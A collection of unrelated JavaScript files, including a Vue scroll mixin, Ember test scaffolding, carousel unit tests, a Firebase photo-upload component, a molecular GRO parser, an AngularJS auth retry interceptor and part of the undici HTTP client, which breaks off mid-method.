data: () => ({
scroll_positions: {},
}),
mounted() {
this.$router.afterEach((to, from) => {
this.scroll_positions[from.name] = this.scrollCtnr.scrollTop;
let scroll = 0;
if (this.scroll_positions.hasOwnProperty(to.name)) {
scroll = this.scroll_positions[to.name];
}
this.$nextTick(() => {
setTimeout(() => { // TODO fix
this.scrollCtnr.scrollTop = scroll
}, 90)
})
});
}
}
|
import Ember from 'ember';
import AbstractTestModule from './abstract-test-module';
import { getResolver } from './test-resolver';
import buildRegistry from './build-registry';
import hasEmberVersion from './has-ember-version';
import { preGlimmerSetupIntegrationForComponent } from './-legacy-overrides';
import { setupComponentIntegrationTest } from './test-module-for-component';
let ACTION_KEY;
if (hasEmberVersion(2,0)) {
ACTION_KEY = 'actions';
} else {
ACTION_KEY = '_actions';
}
export default AbstractTestModule.extend({
init() {
this._super(...arguments);
this.resolver = this.callbacks.resolver || getResolver();
},
initSetupSteps() {
this.setupSteps = [];
this.contextualizedSetupSteps = [];
if (this.callbacks.beforeSetup) {
this.setupSteps.push( this.callbacks.beforeSetup );
delete this.callbacks.beforeSetup;
}
this.setupSteps.push(this.setupContainer);
this.setupSteps.push(this.setupContext);
this.setupSteps.push(this.setupTestElements);
this.setupSteps.push(this.setupAJAXListeners);
this.setupSteps.push(this.setupComponentIntegrationTest);
if (Ember.View && Ember.View.views) {
this.setupSteps.push(this._aliasViewRegistry);
}
if (this.callbacks.setup) {
this.contextualizedSetupSteps.push(this.callbacks.setup);
delete this.callbacks.setup;
}
},
initTeardownSteps() {
this.teardownSteps = [];
this.contextualizedTeardownSteps = [];
if (this.callbacks.teardown) {
this.contextualizedTeardownSteps.push( this.callbacks.teardown );
delete this.callbacks.teardown;
}
this.teardownSteps.push(this.teardownContainer);
this.teardownSteps.push(this.teardownContext);
this.teardownSteps.push(this.teardownAJAXListeners);
this.teardownSteps.push(this.teardownComponent);
if (Ember.View && Ember.View.views) {
this.teardownSteps.push(this._resetViewRegistry);
}
this.teardownSteps.push(this.teardownTestElements);
if (this.callbacks.afterTeardown) {
this.teardownSteps.push(this.callbacks.afterTeardown);
delete this.callbacks.afterTeardown;
}
},
setupContainer() {
var resolver = this.resolver;
var items = buildRegistry(resolver);
this.container = items.container;
this.registry = items.registry;
if (hasEmberVersion(1, 13)) {
var thingToRegisterWith = this.registry || this.container;
var router = resolver.resolve('router:main');
router = router || Ember.Router.extend();
thingToRegisterWith.register('router:main', router);
}
},
setupContext() {
var subjectName = this.subjectName;
var container = this.container;
var factory = function() {
return container.lookupFactory(subjectName);
};
this._super({
container: this.container,
registry: this.registry,
factory: factory,
register() {
var target = this.registry || this.container;
return target.register.apply(target, arguments);
},
});
var context = this.context;
if (Ember.setOwner) {
Ember.setOwner(context, this.container.owner);
}
if (Ember.inject) {
var keys = (Object.keys || Ember.keys)(Ember.inject);
keys.forEach(function(typeName) {
context.inject[typeName] = function(name, opts) {
var alias = (opts && opts.as) || name;
Ember.run(function() {
Ember.set(context, alias, context.container.lookup(typeName + ':' + name));
});
};
});
}
// only setup the injection if we are running against a version
// of Ember that has `-view-registry:main` (Ember >= 1.12)
if (this.container.lookupFactory('-view-registry:main')) {
(this.registry || this.container).injection('component', '_viewRegistry', '-view-registry:main');
}
},
setupComponentIntegrationTest: (function() {
if (!hasEmberVersion(1,13)) {
return preGlimmerSetupIntegrationForComponent;
} else {
return setupComponentIntegrationTest;
}
})(),
teardownComponent: function() {
var component = this.component;
if (component) {
Ember.run(function() {
component.destroy();
});
}
},
teardownContainer() {
var container = this.container;
Ember.run(function() {
container.destroy();
});
},
// allow arbitrary named factories, like rspec let
contextualizeCallbacks() {
var callbacks = this.callbacks;
var context = this.context;
this.cache = this.cache || {};
this.cachedCalls = this.cachedCalls || {};
var keys = (Object.keys || Ember.keys)(callbacks);
var keysLength = keys.length;
if (keysLength) {
for (var i = 0; i < keysLength; i++) {
this._contextualizeCallback(context, keys[i], context);
}
}
},
_contextualizeCallback(context, key, callbackContext) {
var _this = this;
var callbacks = this.callbacks;
var factory = context.factory;
context[key] = function(options) {
if (_this.cachedCalls[key]) { return _this.cache[key]; }
var result = callbacks[key].call(callbackContext, options, factory());
_this.cache[key] = result;
_this.cachedCalls[key] = true;
return result;
};
},
_aliasViewRegistry: function() {
this._originalGlobalViewRegistry = Ember.View.views;
var viewRegistry = this.container.lookup('-view-registry:main');
if (viewRegistry) {
Ember.View.views = viewRegistry;
}
},
_resetViewRegistry: function() {
Ember.View.views = this._originalGlobalViewRegistry;
}
});
|
import * as uut from '../CarouselPresenter';
describe('Carousel presenter', () => {
it('should getChildrenLength', () => {
expect(uut.getChildrenLength({children: [{}, {}, {}]})).toBe(3);
expect(uut.getChildrenLength({children: [{}]})).toBe(1);
expect(uut.getChildrenLength()).toBe(0);
});
describe('calcOffset', () => {
it('should calcOffset (default mode)', () => {
expect(uut.calcOffset({children: [{}, {}, {}], horizontal: true}, {pageWidth: 120, pageHeight: 100, currentPage: 0})).toStrictEqual({x: 0, y: 0});
expect(uut.calcOffset({children: [{}, {}, {}], horizontal: true}, {pageWidth: 120, pageHeight: 100, currentPage: 1})).toStrictEqual({x: 120, y: 0});
expect(uut.calcOffset({children: [{}, {}, {}], horizontal: true}, {pageWidth: 120, pageHeight: 100, currentPage: 2})).toStrictEqual({x: 240, y: 0});
expect(uut.calcOffset({children: [{}, {}, {}], horizontal: false}, {pageWidth: 80, pageHeight: 150, currentPage: 0})).toStrictEqual({x: 0, y: 0});
expect(uut.calcOffset({children: [{}, {}, {}], horizontal: false}, {pageWidth: 80, pageHeight: 150, currentPage: 1})).toStrictEqual({x: 0, y: 150});
expect(uut.calcOffset({children: [{}, {}, {}], horizontal: false}, {pageWidth: 80, pageHeight: 150, currentPage: 2})).toStrictEqual({x: 0, y: 300});
});
it('should calcOffset (loop mode)', () => {
expect(uut.calcOffset({loop: true, children: [{}, {}, {}], horizontal: true}, {pageWidth: 120, pageHeight: 100, currentPage: 0})).toStrictEqual({x: 120, y: 0});
expect(uut.calcOffset({loop: true, children: [{}, {}, {}], horizontal: true}, {pageWidth: 120, pageHeight: 100, currentPage: 1})).toStrictEqual({x: 240, y: 0});
expect(uut.calcOffset({loop: true, children: [{}, {}, {}], horizontal: true}, {pageWidth: 120, pageHeight: 100, currentPage: 2})).toStrictEqual({x: 360, y: 0});
});
});
describe('calcPageIndex', () => {
it('should calcPageIndex', () => {
expect(uut.calcPageIndex(120, {children: [{}, {}, {}]}, 120)).toBe(1);
expect(uut.calcPageIndex(245, {children: [{}, {}, {}]}, 120)).toBe(2);
expect(uut.calcPageIndex(481, {children: [{}, {}, {}]}, 120)).toBe(2);
expect(uut.calcPageIndex(5, {children: [{}, {}, {}]}, 120)).toBe(0);
});
it('should calcPageIndex (loop mode)', () => {
expect(uut.calcPageIndex(120, {loop: true, children: [{}, {}, {}]}, 120)).toBe(0);
expect(uut.calcPageIndex(245, {loop: true, children: [{}, {}, {}]}, 120)).toBe(1);
expect(uut.calcPageIndex(481, {loop: true, children: [{}, {}, {}]}, 120)).toBe(0);
expect(uut.calcPageIndex(5, {loop: true, children: [{}, {}, {}]}, 120)).toBe(2);
});
});
it('should return isOutsideLimits', () => {
expect(uut.isOutOfBounds(120, {children: [{}, {}, {}]}, 120)).toBe(false);
expect(uut.isOutOfBounds(1125, {children: [{}, {}, {}, {}]}, 375)).toBe(false);
expect(uut.isOutOfBounds(0, {children: [{}, {}, {}]}, 120)).toBe(true);
expect(uut.isOutOfBounds(481, {children: [{}, {}, {}]}, 120)).toBe(true);
expect(uut.isOutOfBounds(1875, {children: [{}, {}, {}, {}]}, 375)).toBe(true);
});
});
|
/* eslint-disable jsx-a11y/alt-text */
import { useState } from "react";
import { Link } from "react-router-dom";
import { fbAuth, storage } from "../../../firebase";
import { updateUserData } from "../../../Network/Network";
export default function CreateProfilePhoto({ setBtns, btns }) {
const [imgUrl, setimgUrl] = useState(null);
const [progress, setprogress] = useState(0);
const getData = ({ target }) => {
if (target.files[0]) {
const uploadStep = storage.ref(`images/${target.files[0].name}`).put(target.files[0]);
uploadStep.on(
"state_changed",
(snapshot) => {
const progress = Math.round(
(snapshot.bytesTransferred / snapshot.totalBytes) * 100
);
setprogress(progress);
},
(err) => {
console.log(err);
},
() => {
storage
.ref("images")
.child(target.files[0].name)
.getDownloadURL()
.then((URL) => {
let imgu = URL;
setimgUrl(imgu);
URL &&
updateUserData("talent", {
profilePhoto: URL,
profileCompletion: 80,
});
URL && fbAuth.auth.currentUser.updateProfile({ photoURL: URL });
});
}
);
}
};
return (
<section className="bg-white border rounded mt-3 pt-4">
<div className="border-bottom ps-4 pb-3">
<h4>Profile Photo</h4>
</div>
<div className="px-4 my-4">
<p>
Please upload a professional portrait that clearly shows your face.{" "}
<Link to="">
<i className="fas fa-info-circle"></i>
</Link>
</p>
<div className="w-25 text-center mt-5">
{/* <progress className="w-100" value={progress} max="100" /> */}
<div className="mb-3" style={{ width: progress * 2, height: "5px", backgroundColor: "#37A000" }}></div>
{imgUrl ? (
<div style={{ width: "100px", height: "100px", margin: "0 auto" }}>
<img className="w-100 h-100 circle" src={imgUrl} />
</div>
) : (
<i
className="fas fa-user-circle fa-7x"
style={{ color: "#A0A0A0" }}
></i>
)}
</div>
<label
className="btn border border-2 mt-4 rounded-5"
for="img"
style={{ color: "#37a000" }}
>
<i className="fas fa-plus me-3"></i>Add Profile Photo
</label>
<input
id="img"
className="d-none"
type="file"
onInput={getData}
/>
</div>
<div className="px-4 my-3 pt-4 border-top d-flex justify-content-between">
<button className="btn">
<Link className="btn border text-success me-4 px-5 fw-bold" to="/home">
Back
</Link>
</button>
<button className={`btn ${progress < 100 && "disabled"}`}>
<Link className="btn upw-bg-color px-5" to="/create-profile/location" onClick={() => setBtns({ ...btns, location: false })}>
Next
</Link>
</button>
</div>
</section>
);
}
|
/**
* Copyright (c) 2019-2020 mol* contributors, licensed under MIT, See LICENSE file for more info.
*
* @author Alexander Rose <alexander.rose@weirdbyte.de>
*/
import { __awaiter, __generator } from "tslib";
import { Task } from '../../mol-task';
import { Column, Table } from '../../mol-data/db';
import { guessElementSymbolString } from './util';
import { getMoleculeType } from '../../mol-model/structure/model/types';
import { ComponentBuilder } from './common/component';
import { getChainId } from './common/util';
import { EntityBuilder } from './common/entity';
import { BasicSchema, createBasic } from './basic/schema';
import { createModels } from './basic/parser';
import { ArrayTrajectory } from '../../mol-model/structure/trajectory';
function getBasic(atoms, modelNum) {
var auth_atom_id = atoms.atomName;
var auth_comp_id = atoms.residueName;
var entityIds = new Array(atoms.count);
var asymIds = new Array(atoms.count);
var seqIds = new Uint32Array(atoms.count);
var ids = new Uint32Array(atoms.count);
var entityBuilder = new EntityBuilder();
var componentBuilder = new ComponentBuilder(atoms.residueNumber, atoms.atomName);
var currentEntityId = '';
var currentAsymIndex = 0;
var currentAsymId = '';
var currentSeqId = 0;
var prevMoleculeType = 0 /* Unknown */;
var prevResidueNumber = -1;
for (var i = 0, il = atoms.count; i < il; ++i) {
var residueNumber = atoms.residueNumber.value(i);
if (residueNumber !== prevResidueNumber) {
var compId = atoms.residueName.value(i);
var moleculeType = getMoleculeType(componentBuilder.add(compId, i).type, compId);
if (moleculeType !== prevMoleculeType || (residueNumber !== prevResidueNumber + 1 && !(
// gro format allows only for 5 character residueNumbers, handle overflow here
prevResidueNumber === 99999 && residueNumber === 0))) {
currentAsymId = getChainId(currentAsymIndex);
currentAsymIndex += 1;
currentSeqId = 0;
}
currentEntityId = entityBuilder.getEntityId(compId, moleculeType, currentAsymId);
currentSeqId += 1;
prevResidueNumber = residueNumber;
prevMoleculeType = moleculeType;
}
entityIds[i] = currentEntityId;
asymIds[i] = currentAsymId;
seqIds[i] = currentSeqId;
ids[i] = i;
}
var auth_asym_id = Column.ofStringArray(asymIds);
var atom_site = Table.ofPartialColumns(BasicSchema.atom_site, {
auth_asym_id: auth_asym_id,
auth_atom_id: auth_atom_id,
auth_comp_id: auth_comp_id,
auth_seq_id: atoms.residueNumber,
Cartn_x: Column.ofFloatArray(Column.mapToArray(atoms.x, function (x) { return x * 10; }, Float32Array)),
Cartn_y: Column.ofFloatArray(Column.mapToArray(atoms.y, function (y) { return y * 10; }, Float32Array)),
Cartn_z: Column.ofFloatArray(Column.mapToArray(atoms.z, function (z) { return z * 10; }, Float32Array)),
id: Column.ofIntArray(ids),
label_asym_id: auth_asym_id,
label_atom_id: auth_atom_id,
label_comp_id: auth_comp_id,
label_seq_id: Column.ofIntArray(seqIds),
label_entity_id: Column.ofStringArray(entityIds),
occupancy: Column.ofConst(1, atoms.count, Column.Schema.float),
type_symbol: Column.ofStringArray(Column.mapToArray(atoms.atomName, function (s) { return guessElementSymbolString(s); })),
pdbx_PDB_model_num: Column.ofConst(modelNum, atoms.count, Column.Schema.int),
}, atoms.count);
return createBasic({
entity: entityBuilder.getEntityTable(),
chem_comp: componentBuilder.getChemCompTable(),
atom_site: atom_site
});
}
//
export { GroFormat };
var GroFormat;
(function (GroFormat) {
function is(x) {
return (x === null || x === void 0 ? void 0 : x.kind) === 'gro';
}
GroFormat.is = is;
function fromGro(gro) {
return { kind: 'gro', name: gro.structures[0].header.title, data: gro };
}
GroFormat.fromGro = fromGro;
})(GroFormat || (GroFormat = {}));
// TODO reuse static model parts when hierarchy is identical
// need to pass all gro.structures as one table into createModels
export function trajectoryFromGRO(gro) {
var _this = this;
return Task.create('Parse GRO', function (ctx) { return __awaiter(_this, void 0, void 0, function () {
var format, models, i, il, basic, m;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
format = GroFormat.fromGro(gro);
models = [];
i = 0, il = gro.structures.length;
_a.label = 1;
case 1:
if (!(i < il)) return [3 /*break*/, 4];
basic = getBasic(gro.structures[i].atoms, i + 1);
return [4 /*yield*/, createModels(basic, format, ctx)];
case 2:
m = _a.sent();
if (m.frameCount === 1) {
models.push(m.representative);
}
_a.label = 3;
case 3:
++i;
return [3 /*break*/, 1];
case 4: return [2 /*return*/, new ArrayTrajectory(models)];
}
});
}); });
}
//# sourceMappingURL=gro.js.map
|
angular.module('ruchJow.security.interceptor', ['ruchJow.security.retryQueue'])
// This http interceptor listens for authentication failures
.factory('securityInterceptor', ['$injector', '$q', 'ruchJowSecurityRetryQueue', function($injector, $q, queue) {
return {
responseError: function (rejection) {
if (rejection.status === 401) {
// The request bounced because it was not authorized - add a new request to the retry queue
return queue.pushRetryFn(function retryRequest() {
// We must use $injector to get the $http service to prevent circular dependency
return $injector.get('$http')(rejection.config);
}, 'unauthorized-server');
}
return $q.reject(rejection);
}
};
//return function(promise) {
// // Intercept failed requests
// return promise.then(null, function(originalResponse) {
// if (originalResponse.status === 401) {
// // The request bounced because it was not authorized - add a new request to the retry queue
// promise = queue.pushRetryFn(function retryRequest() {
// // We must use $injector to get the $http service to prevent circular dependency
// return $injector.get('$http')(originalResponse.config);
// }, 'unauthorized-server');
// }
// return promise;
// });
//};
}])
// We have to add the interceptor to the queue as a string because the interceptor depends upon service instances that are not available in the config block.
.config(['$httpProvider', function($httpProvider) {
$httpProvider.interceptors.push('securityInterceptor');
}]);
|
import moment from 'moment';
class DateTimesService {
formatDate(string){
if(string){
return moment(new Date(string)).format("DD/MM/YYYY HH:mm");
}else {
return moment(new Date()).format("DD/MM/YYYY HH:mm");
}
}
}
export default new DateTimesService();
|
$.widget('ui.chunkHtml', $.ui.chunk, {
edit: function() {
var self = this,
dialog;
dialog = new BoomCMS.Dialog({
url: this.options.currentPage.baseUrl + 'chunk/edit?type=html&slotname=' + this.options.name,
width: 600,
title: 'Edit HTML'
}).done(function() {
var html = dialog.contents.find('textarea').val();
if (html.trim() !== '') {
self.insert(html);
} else {
self.remove();
}
})
.always(function() {
self.bind();
});
},
getData: function() {
return {html : this.html};
},
/**
@param {Int} id Tag ID
*/
insert: function(html) {
this.html = html;
return this._save();
}
});
|
'use strict'
/* global WebAssembly */
const net = require('net')
const tls = require('tls')
const assert = require('assert')
const util = require('./core/util')
const Request = require('./core/request')
const Dispatcher = require('./dispatcher')
const {
ContentLengthMismatchError,
TrailerMismatchError,
InvalidArgumentError,
RequestAbortedError,
HeadersTimeoutError,
HeadersOverflowError,
ClientDestroyedError,
ClientClosedError,
ConnectTimeoutError,
SocketError,
InformationalError,
BodyTimeoutError
} = require('./core/errors')
const { resolve } = require('path')
const { readFileSync } = require('fs')
const constants = require('./llhttp/constants')
const WASM_BUILD = resolve(__dirname, './llhttp/llhttp.wasm')
const EMPTY_BUF = Buffer.alloc(0)
const bin = readFileSync(WASM_BUILD)
const mod = new WebAssembly.Module(bin)
const {
kUrl,
kReset,
kHost,
kClient,
kBusy,
kParser,
kConnect,
kResuming,
kRunning,
kPending,
kSize,
kWriting,
kQueue,
kConnected,
kNeedDrain,
kTLSServerName,
kTLSSession,
kSetTLSSession,
kConnectTimeout,
kConnectTimeoutValue,
kKeepAliveDefaultTimeout,
kHostHeader,
kTLSOpts,
kClosed,
kDestroyed,
kPendingIdx,
kRunningIdx,
kError,
kOnDestroyed,
kPipelining,
kSocket,
kSocketPath,
kKeepAliveTimeoutValue,
kMaxHeadersSize,
kKeepAliveMaxTimeout,
kKeepAliveTimeoutThreshold,
kIdleTimeout,
kIdleTimeoutValue,
kHeadersTimeout,
kBodyTimeout,
kStrictContentLength
} = require('./core/symbols')
function getServerName (client, host) {
return (
util.getServerName(host) ||
(client[kTLSOpts] && client[kTLSOpts].servername) ||
util.getServerName(client[kUrl].host) ||
null
)
}
class Client extends Dispatcher {
constructor (url, {
maxHeaderSize,
headersTimeout,
socketTimeout,
requestTimeout,
connectTimeout,
bodyTimeout,
idleTimeout,
keepAlive,
keepAliveTimeout,
maxKeepAliveTimeout,
keepAliveMaxTimeout,
keepAliveTimeoutThreshold,
socketPath,
pipelining,
tls,
strictContentLength
} = {}) {
super()
if (keepAlive !== undefined) {
throw new InvalidArgumentError('unsupported keepAlive, use pipelining=0 instead')
}
if (socketTimeout !== undefined) {
throw new InvalidArgumentError('unsupported socketTimeout, use headersTimeout & bodyTimeout instead')
}
if (requestTimeout !== undefined) {
throw new InvalidArgumentError('unsupported requestTimeout, use headersTimeout & bodyTimeout instead')
}
if (idleTimeout !== undefined) {
throw new InvalidArgumentError('unsupported idleTimeout, use keepAliveTimeout instead')
}
if (maxKeepAliveTimeout !== undefined) {
throw new InvalidArgumentError('unsupported maxKeepAliveTimeout, use keepAliveMaxTimeout instead')
}
if (maxHeaderSize != null && !Number.isFinite(maxHeaderSize)) {
throw new InvalidArgumentError('invalid maxHeaderSize')
}
if (socketPath != null && typeof socketPath !== 'string') {
throw new InvalidArgumentError('invalid socketPath')
}
if (connectTimeout != null && (!Number.isFinite(connectTimeout) || connectTimeout < 0)) {
throw new InvalidArgumentError('invalid connectTimeout')
}
if (keepAliveTimeout != null && (!Number.isFinite(keepAliveTimeout) || keepAliveTimeout <= 0)) {
throw new InvalidArgumentError('invalid keepAliveTimeout')
}
if (keepAliveMaxTimeout != null && (!Number.isFinite(keepAliveMaxTimeout) || keepAliveMaxTimeout <= 0)) {
throw new InvalidArgumentError('invalid keepAliveMaxTimeout')
}
if (keepAliveTimeoutThreshold != null && !Number.isFinite(keepAliveTimeoutThreshold)) {
throw new InvalidArgumentError('invalid keepAliveTimeoutThreshold')
}
if (headersTimeout != null && (!Number.isInteger(headersTimeout) || headersTimeout < 0)) {
throw new InvalidArgumentError('headersTimeout must be a positive integer or zero')
}
if (bodyTimeout != null && (!Number.isInteger(bodyTimeout) || bodyTimeout < 0)) {
throw new InvalidArgumentError('bodyTimeout must be a positive integer or zero')
}
this[kSocket] = null
this[kPipelining] = pipelining != null ? pipelining : 1
this[kMaxHeadersSize] = maxHeaderSize || 16384
this[kUrl] = util.parseOrigin(url)
this[kSocketPath] = socketPath
this[kConnectTimeoutValue] = connectTimeout == null ? 10e3 : connectTimeout
this[kConnectTimeout] = null
this[kKeepAliveDefaultTimeout] = keepAliveTimeout == null ? 4e3 : keepAliveTimeout
this[kKeepAliveMaxTimeout] = keepAliveMaxTimeout == null ? 600e3 : keepAliveMaxTimeout
this[kKeepAliveTimeoutThreshold] = keepAliveTimeoutThreshold == null ? 1e3 : keepAliveTimeoutThreshold
this[kKeepAliveTimeoutValue] = this[kKeepAliveDefaultTimeout]
this[kClosed] = false
this[kDestroyed] = false
this[kTLSOpts] = tls
this[kTLSServerName] = getServerName(this)
this[kHost] = null
this[kOnDestroyed] = []
this[kResuming] = 0 // 0, idle, 1, scheduled, 2 resuming
this[kNeedDrain] = 0 // 0, idle, 1, scheduled, 2 resuming
this[kHostHeader] = `host: ${this[kUrl].hostname}${this[kUrl].port ? `:${this[kUrl].port}` : ''}\r\n`
this[kBodyTimeout] = bodyTimeout != null ? bodyTimeout : 30e3
this[kHeadersTimeout] = headersTimeout != null ? headersTimeout : 30e3
this[kStrictContentLength] = strictContentLength == null ? true : strictContentLength
this[kTLSSession] = tls && tls.session ? tls.session : null
// kQueue is built up of 3 sections separated by
// the kRunningIdx and kPendingIdx indices.
// | complete | running | pending |
// ^ kRunningIdx ^ kPendingIdx ^ kQueue.length
// kRunningIdx points to the first running element.
// kPendingIdx points to the first pending element.
// This implements a fast queue with an amortized
// time of O(1).
this[kQueue] = []
this[kRunningIdx] = 0
this[kPendingIdx] = 0
}
// TODO: Make private?
get pipelining () {
return this[kPipelining]
}
// TODO: Make private?
set pipelining (value) {
this[kPipelining] = value
resume(this, true)
}
get destroyed () {
return this[kDestroyed]
}
get closed () {
return this[kClosed]
}
get [kPending] () {
return this[kQueue].length - this[kPendingIdx]
}
get [kRunning] () {
return this[kPendingIdx] - this[kRunningIdx]
}
get [kSize] () {
return this[kQueue].length - this[kRunningIdx]
}
get [kConnected] () {
return (
this[kSocket] &&
this[kSocket].connecting !== true &&
// Older versions of Node don't set secureConnecting to false.
(this[kSocket].authorized !== false ||
this[kSocket].authorizationError
) &&
!this[kSocket].destroyed
)
? 1
: 0
}
/* istanbul ignore: only used for test */
get [kBusy] () {
const socket = this[kSocket]
return (
(socket && (socket[kReset] || socket[kWriting])) ||
(this[kSize] >= (this[kPipelining] || 1)) ||
this[kPending] > 0
)
}
/* istanbul ignore: only used for test */
[kConnect] (cb) {
connect(this)
this.once('connect', cb)
}
[kSetTLSSession] (session) {
this[kTLSSession] = session
this.emit('session', session)
}
dispatch (opts, handler) {
if (!handler || typeof handler !== 'object') {
throw new InvalidArgumentError('handler')
}
try {
if (opts.origin && opts.origin !== this[kUrl].origin) {
throw new InvalidArgumentError('origin')
}
const request = new Request(opts, handler)
if (this[kDestroyed]) {
throw new ClientDestroyedError()
}
if (this[kClosed]) {
throw new ClientClosedError()
}
this[kQueue].push(request)
if (this[kResuming]) {
// Do nothing.
} else if (util.isStream(request.body)) {
// Wait a tick in case stream is ended in the same tick.
this[kResuming] = 1
process.nextTick(resume, this)
} else {
resume(this, true)
}
if (this[kResuming] && this[kNeedDrain] !== 2 && this[kBusy]) {
this[kNeedDrain] = 2
}
} catch (err) {
if (typeof handler.onError !== 'function') {
throw new InvalidArgumentError('invalid onError method')
}
handler.onError(err)
}
return this[kNeedDrain] < 2
}
close (callback) {
if (callback === undefined) {
return new Promise((resolve, reject) => {
this.close((err, data) => {
return err ? reject(err) : resolve(data)
})
})
}
if (typeof callback !== 'function') {
throw new InvalidArgumentError('invalid callback')
}
if (this[kDestroyed]) {
process.nextTick(callback, new ClientDestroyedError(), null)
return
}
this[kClosed] = true
if (!this[kSize]) {
this.destroy(callback)
} else {
this[kOnDestroyed].push(callback)
}
}
destroy (err, callback) {
if (typeof err === 'function') {
callback = err
err = null
}
if (callback === undefined) {
return new Promise((resolve, reject) => {
this.destroy(err, (err, data) => {
return err ? /* istanbul ignore next: should never error */ reject(err) : resolve(data)
})
})
}
if (typeof callback !== 'function') {
throw new InvalidArgumentError('invalid callback')
}
if (this[kDestroyed]) {
if (this[kOnDestroyed]) {
this[kOnDestroyed].push(callback)
} else {
process.nextTick(callback, null, null)
}
return
}
if (!err) {
err = new ClientDestroyedError()
}
for (const request of this[kQueue].splice(this[kPendingIdx])) {
request.onError(err)
assert(request.aborted)
}
this[kClosed] = true
this[kDestroyed] = true
this[kOnDestroyed].push(callback)
const onDestroyed = () => {
const callbacks = this[kOnDestroyed]
this[kOnDestroyed] = null
for (const callback of callbacks) {
callback(null, null)
}
}
if (!this[kSocket]) {
process.nextTick(onDestroyed)
} else {
util.destroy(this[kSocket].on('close', onDestroyed), err)
}
resume(this)
}
}
class HTTPParserError extends Error {
constructor (message, code) {
super(message)
Error.captureStackTrace(this, HTTPParserError)
this.name = 'HTTPParserError'
this.code = code ? `HPE_${code}` : undefined
}
}
let currentParser = null
const llhttp = new WebAssembly.Instance(mod, {
env: {
/* eslint-disable camelcase */
wasm_on_message_begin: p => {
return 0
},
wasm_on_url: /* istanbul ignore next: not used */ (p, at, length) => {
return 0
},
wasm_on_status: (p, at, length) => {
return 0
},
wasm_on_header_field: (p, at, len) => {
assert(currentParser.headers.length % 2 === 0)
const start = at - currentParser.bufferPtr
const end = start + len
return currentParser.onHeader(currentParser.bufferRef.slice(start, end)) || 0
},
wasm_on_header_value: (p, at, len) => {
assert(currentParser.headers.length % 2 === 1)
const start = at - currentParser.bufferPtr
const end = start + len
return currentParser.onHeader(currentParser.bufferRef.slice(start, end)) || 0
},
wasm_on_headers_complete: p => {
const statusCode = llhttp.exports.llhttp_get_status_code(p)
const upgrade = Boolean(llhttp.exports.llhttp_get_upgrade(p))
const shouldKeepAlive = Boolean(llhttp.exports.llhttp_should_keep_alive(p))
return currentParser.onHeadersComplete(statusCode, upgrade, shouldKeepAlive) || 0
},
wasm_on_body: (p, at, len) => {
const start = at - currentParser.bufferPtr
const end = start + len
return currentParser.onBody(currentParser.bufferRef.slice(start, end)) || 0
},
wasm_on_message_complete: (p) => {
return currentParser.onMessageComplete() || 0
}
/* eslint-enable camelcase */
}
})
class Parser {
constructor (client, socket) {
assert(Number.isFinite(client[kMaxHeadersSize]) && client[kMaxHeadersSize] > 0)
this.ptr = llhttp.exports.llhttp_alloc(constants.TYPE.RESPONSE)
this.bufferSize = 0
this.bufferPtr = null
this.bufferRef = null
this.client = client
this.socket = socket
this.timeout = null
this.statusCode = null
this.upgrade = false
this.headers = []
this.headersSize = 0
this.headersMaxSize = client[kMaxHeadersSize]
this.shouldKeepAlive = false
this.paused = false
this.resume = this.resume.bind(this)
this.execute = this.execute.bind(this)
socket.on('data', this.execute)
}
resume () {
if (this.socket.destroyed || !this.paused) {
return
}
assert(this.ptr != null)
assert(currentParser == null)
llhttp.exports.llhttp_resume(this.ptr)
if (this.timeout) {
// istanbul ignore else: only for jest
if (this.timeout.refresh) {
this.timeout.refresh()
}
}
this.paused = false
this.socket.resume()
if (!this.socket.readableLength) {
this.execute(EMPTY_BUF) // Flush parser.
}
}
execute (data) {
assert(this.ptr != null)
assert(currentParser == null)
const { socket } = this
// Be sure the parser buffer can contain `data`
if (data.length > this.bufferSize) {
if (this.bufferPtr) {
llhttp.exports.free(this.bufferPtr)
}
this.bufferSize = Math.ceil(data.length / 4096) * 4096
this.bufferPtr = llhttp.exports.malloc(this.bufferSize)
}
if (data.length) {
assert(this.bufferPtr != null)
assert(this.bufferSize >= data.length)
// TODO (perf): Can we avoid this copy somehow?
new Uint8Array(llhttp.exports.memory.buffer, this.bufferPtr, this.bufferSize).set(data)
}
// Call `execute` on the wasm parser.
// We pass the `llhttp_parser` pointer address, the pointer address of buffer view data,
// and finally the length of bytes to parse.
// The return value is an error code or `constants.ERROR.OK`.
this.bufferRef = data
currentParser = this
const ret = llhttp.exports.llhttp_execute(this.ptr, this.bufferPtr, data.length)
currentParser = null
this.bufferRef = null
if (ret === constants.ERROR.OK) {
return
}
const offset = llhttp.exports.llhttp_get_error_pos(this.ptr) - this.bufferPtr
if (ret === constants.ERROR.PAUSED_UPGRADE) {
this.onUpgrade(data.slice(offset))
} else if (ret === constants.ERROR.PAUSED) {
this.paused = true
socket.pause()
socket.unshift(data.slice(offset))
} else {
const ptr = llhttp.exports.llhttp_get_error_reason(this.ptr)
let message
if (ptr) {
const len = new Uint8Array(llhttp.exports.memory.buffer).indexOf(0, ptr) - ptr
message = Buffer.from(llhttp.exports.memory.buffer, ptr, len).toString()
} else {
message = ''
}
const code = constants.ERROR[ret]
util.destroy(socket, new HTTPParserError(message, code))
}
}
onHeader (buf) {
this.headers.push(buf)
this.headersSize += buf.length
if (this.headersSize >= this.headersMaxSize) {
util.destroy(this.socket, new HeadersOverflowError())
}
}
onUpgrade (head) {
const { upgrade, client, socket, headers, statusCode } = this
assert(upgrade)
const request = client[kQueue][client[kRunningIdx]]
assert(request)
assert(!socket.destroyed)
assert(socket === client[kSocket])
assert(!socket.isPaused())
assert(socket._handle && socket._handle.reading)
assert(request.upgrade || request.method === 'CONNECT')
this.statusCode = null
this.shouldKeepAlive = null
assert(this.headers.length % 2 === 0)
this.headers = []
this.headersSize = 0
// _readableState.flowing might be `true` if the socket has been
// explicitly `resume()`:d even if we never registered a 'data'
// listener.
// We need to stop unshift from emitting 'data'. However, we cannot
// call pause() as that will stop socket from automatically resuming
// when 'data' listener is registered.
// Reset socket state to non flowing:
socket._readableState.flowing = null
socket.unshift(head)
detachSocket(socket)
client[kSocket] = null
client[kQueue][client[kRunningIdx]++] = null
client.emit('disconnect', client[kUrl], [client], new InformationalError('upgrade'))
try {
request.onUpgrade(statusCode, headers, socket)
} catch (err) {
util.destroy(socket, err)
}
resume(client)
}
onHeadersComplete (statusCode, upgrade, shouldKeepAlive) {
const { client, socket, timeout, headers: rawHeaders } = this
/* istanbul ignore next: difficult to make a test case for */
if (socket.destroyed) {
return -1
}
const request = client[kQueue][client[kRunningIdx]]
assert(request)
// TODO: Check for content-length mismatch from server?
